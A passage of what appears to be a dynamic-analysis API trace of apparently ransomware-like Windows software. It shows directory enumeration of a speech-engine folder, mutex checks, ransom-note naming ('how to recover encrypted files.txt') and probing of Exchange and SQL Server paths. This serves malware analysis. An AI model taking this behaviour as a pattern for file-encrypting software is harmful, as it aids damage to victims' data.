ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.611] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0056.611] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0056.611] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.611] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.611] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.611] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.611] GlobalUnlock (hMem=0x440004) returned 0 [0056.611] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.611] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.611] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.611] GlobalUnlock (hMem=0x440004) returned 0 [0056.611] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.611] GlobalUnlock (hMem=0x44000c) returned 0 [0056.611] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.612] CharLowerBuffW (in: lpsz="MSTTSFrontendENU.dll", cchLength=0x14 | out: lpsz="msttsfrontendenu.dll") returned 0x14 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll", cchWideChar=86, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dllf", lpUsedDefaultChar=0x0) returned 86 [0056.612] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllnes\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dllf", lpUsedDefaultChar=0x0) returned 4 [0056.613] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0056.613] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.613] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.613] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.613] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.613] GlobalUnlock (hMem=0x44000c) returned 0 [0056.613] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.613] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.613] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.613] GlobalUnlock (hMem=0x44000c) returned 0 [0056.613] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.613] GlobalUnlock (hMem=0x440004) returned 0 [0056.613] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.613] CharLowerBuffW (in: lpsz="MSTTSLoc.dll.mui", cchLength=0x10 | out: lpsz="msttsloc.dll.mui") returned 0x10 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui", cchWideChar=82, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.muid", lpUsedDefaultChar=0x0) returned 82 [0056.614] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0056.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.muid", lpUsedDefaultChar=0x0) returned 4 [0056.614] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0056.614] GetLastError () returned 0x12 [0056.614] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.614] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.614] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.614] GlobalUnlock (hMem=0x440004) returned 0 [0056.614] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.614] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.614] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.614] GlobalUnlock (hMem=0x440004) returned 0 [0056.614] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.614] GlobalUnlock (hMem=0x44000c) returned 0 [0056.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.615] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.615] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.615] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.615] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.615] GlobalUnlock (hMem=0x44000c) returned 0 [0056.615] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.615] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.615] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.615] GlobalUnlock (hMem=0x44000c) returned 0 [0056.615] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.615] GlobalUnlock (hMem=0x440004) returned 0 [0056.615] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.615] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.615] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.615] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.615] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.615] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.615] GlobalUnlock (hMem=0x440004) returned 0 [0056.615] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.615] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.616] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.616] GlobalUnlock (hMem=0x440004) returned 0 [0056.616] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.616] GlobalUnlock (hMem=0x44000c) returned 0 [0056.616] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.616] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0056.616] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.616] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.616] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.616] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.616] GlobalUnlock (hMem=0x44000c) returned 0 [0056.616] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.616] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.616] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.616] GlobalUnlock (hMem=0x44000c) returned 0 [0056.616] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.616] GlobalUnlock (hMem=0x440004) returned 0 [0056.616] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.616] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.616] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.616] GlobalUnlock (hMem=0x440004) returned 0 [0056.616] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.616] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.616] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.616] GlobalUnlock (hMem=0x440004) returned 0 [0056.616] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.616] GlobalUnlock (hMem=0x44000c) returned 0 [0056.616] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.617] SysReAllocStringLen (in: pbstr=0x18e744*=0x0, psz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", len=0x49 | out: pbstr=0x18e744*="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned 1 [0056.617] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.617] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.617] GlobalUnlock (hMem=0x44000c) returned 0 [0056.617] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.617] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.617] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.617] GlobalUnlock (hMem=0x44000c) returned 0 [0056.617] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.617] GlobalUnlock (hMem=0x440004) returned 0 [0056.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\\x18\x1c") returned 26 [0056.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Microsoft\\Exchange Server", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@숤R쇸R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.617] GetLastError () returned 0x3 [0056.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d40c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\\x18\x1c") returned 21 [0056.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Microsoft SQL Server", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@셤R企@\x18㿬Q\x181")) returned 0xffffffff [0056.618] GetLastError () returned 0x2 [0056.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql 